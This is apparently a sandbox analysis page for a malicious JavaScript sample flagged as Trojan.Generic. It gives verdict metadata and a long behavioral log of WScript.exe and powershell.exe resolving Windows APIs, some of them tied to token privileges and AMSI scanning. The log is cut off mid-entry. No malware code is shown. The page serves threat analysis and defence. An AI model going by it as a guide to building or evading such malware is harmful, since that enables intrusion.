21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 5b:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T49d,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 331e1c3a469f… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 331e1c3a469f…. Malware family: Trojan.Generic. Threat score 100/100. 5/25 AV engines flagged this file. 6 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/331e1c3a469fd13c772a5a0a2d6ac92595a327fd45d71bfaffd257cf61c55d9c","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","331e1c3a469fd13c772a5a0a2d6ac92595a327fd45d71bfaffd257cf61c55d9c"],"about":{"@type":"SoftwareApplication","name":"b10cedb434e63d1fd59a3a0c81b70061.js","applicationCategory":["script","javascript"],"identifier":"331e1c3a469fd13c772a5a0a2d6ac92595a327fd45d71bfaffd257cf61c55d9c","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":5,"total":25},"behavioralIndicators":{"malicious":6,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:Td0c8,"WScript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003100) "WScript.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00003100) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleWindow (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 